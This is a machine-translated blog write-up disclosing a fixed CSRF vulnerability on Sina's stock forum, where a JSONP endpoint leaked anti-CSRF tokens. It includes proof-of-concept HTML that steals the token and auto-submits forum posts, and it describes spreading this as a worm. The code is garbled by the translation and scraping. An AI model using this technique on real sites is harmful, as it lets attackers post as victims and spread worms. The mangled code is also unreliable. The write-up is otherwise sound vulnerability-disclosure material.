Share a CSRF worm in a Sina community caused by jsonp hijacking

Share a CSRF worm in a Sina community caused by jsonp hijacking

Recently, jsonp has been very popular. To be honest, it has been ruined, but it has never been paid much attention by everyone. Just last month, I dug a CSRF IN A SINA community caused by jsonp to prepare an article, which will be shared later.

Because Sina has fixed the problem, I will share this vulnerability first. The following are some articles written at the time.

0x01 intro

I heard that Sina sent clothes in May, and I didn't have much space to dig holes. I wanted to pay a CSRF fan I dug two years ago. I took it out and saw that the hole was gone, and the target site was changed.

Detailed said, is my hole was 302 jump to Sina shares (http://guba.sina.com.cn/) went.

The stock market has been very popular recently. How many people have made fortune in the stock market. So I simply drove the burpsuite around the stock bar and found an interesting CSRF.

Many Sina Weibo users know that Sina's defense policy against CSRF vulnerabilities is to check Referer, but it does not post here, and rarely checks for tokens.



Capture a POST packet that is normally posted. We can see that the field _ csrf_token is contained in the packet. After a simple FUZZ request, we found that this request does not check the Referer. As long as _ csrf_token is correct, we can post the message.

So, how to get the _ csrf_token is as follows:

Check whether the site has a jsonp with the token leaked.

Use flash to steal source code

Why do I have the above ideas? First, token retrieval must be a cross-origin process. CORS, postMessage, and jsonp are usually used for cross-origin requests. Here, CORS and postMessage do not exist, so I will go to jsonp.

Flash has been around for a long time, at this time last year,/fd has already mentioned this in the red/Black alliance. But there is a very important condition in method 2 that we need to find a point that can control the output content, such as upload and jsonp, but in fact such a location is not easy to find, it is not as easy to use as the first method.

0x02 jsonp sold your _ csrf_token

Then, follow your own ideas to test.

First, I changed _ csrf_token to a random string, and then sent the result and returned it:



The returned data packet is a json string containing _ csrf_token. When this packet is sent multiple times, I find that the token changes every time.

As I can probably guess, the token of the stock bar is dynamically generated and stored in the session. A new token will be generated after each check.
But here is the return value in json format, not jsonp.

So I will add "& callback = hehehehe" to the GET parameter and try:



Obviously, the returned format has changed. Although it is not jsonp, it is one.

Why does it change with callback = hehehe? This should be a habit of development. Generally, APIs are developed and designed in json and jsonp formats. The variable name of the jsonp function name is usually callback.

In this case, we still cannot cross-origin. parent. hehehe executes the hehehehe function in the parent framework, but the parent framework (10.211.55.3) and guba.sina.com.cn are different domains. This error occurs in chrome:



Continue to try and change the HTTP method to GET:


Surprise, the method gets jsonp as soon as it changes.

Then I will use the _ csrf_token in jsonp to try posting successfully:



Sadly, no ......

So I have two guesses.

_ Csrf_token is related to the HTTP method. The GET method can only hurt the token obtained by the GET method, and the POST uses the POST token.

_ Csrf_token is related to "bar id". Different IDs correspond to different tokens. The reason is that the error is returned because "the parameter is missing: bar id or bar name" is often mentioned ".

The first guess was intuitively rejected by my programmers. I have never seen such a program.

I tried the second conjecture: Add & bid = 9947 to the GET packet URL and send the packet again:



It is still in jsonp format. I will write this token to the post packet and send it:


Successful!

A jsonp sold _ csrf_token completely.

0x03 construct POC to post any post

Then I began to write the POC to complete the manual steps just now. The idea is as follows:

Jsonp obtains the token

Construct POST form submission

First, construct a simple code to get the token:

html>head>title>test/title>meta charset="utf-8">type="text/javascript">function hehehe(obj){console.log(obj);alert(obj["result"]["data"]["_csrf_token"]);}type="text/javascript" src=http://www.bkjia.com/uploads/allimg/150716/04520K214-8.jpg">/head>/html>

Effect

The token has been obtained.

At this time, you can embed the token into the form and submit it:

Html> head> title> test/title> meta charset = "UTF-8">/head> body> form action = "http://guba.sina.com.cn/api? S = Thread & a = safe_post "method =" POST "id =" csrfsend "> input type =" hidden "name =" bid "value =" 9947 "> input type =" hidden "name =" tid "value =" "> input type =" hidden "name =" content "value =" this is the test result "> input type =" hidden "name =" title "value =" this is the test title "> input type =" hidden "id =" token "name =" _ csrf_token "value =" "> input type =" hidden "name = "anonymous" value = "1">/form> type = "text/javascript"> function hehehe (obj) {console. log (obj); var csrf_token = obj ["result"] ["data"] ["_ csrf_token"]; document. getElementById ("token "). value = csrf_token; document. getElementById ("csrfsend "). submit ();} type = "text/javascript" src = http://www.bkjia.com/uploads/allimg/150716/04520K027-10.jpg ">/body>/html>

Save the code as sinacsrf.html, which can be triggered after any user accesses it. In section 9947, a new post is published:

Visible:


This is a typical CSRF vulnerability that uses jsonp to steal tokens to bypass backend checks.

The post can also be pasted with links to lure other users into clicking and clicking to post again, resulting in a CSRF worm.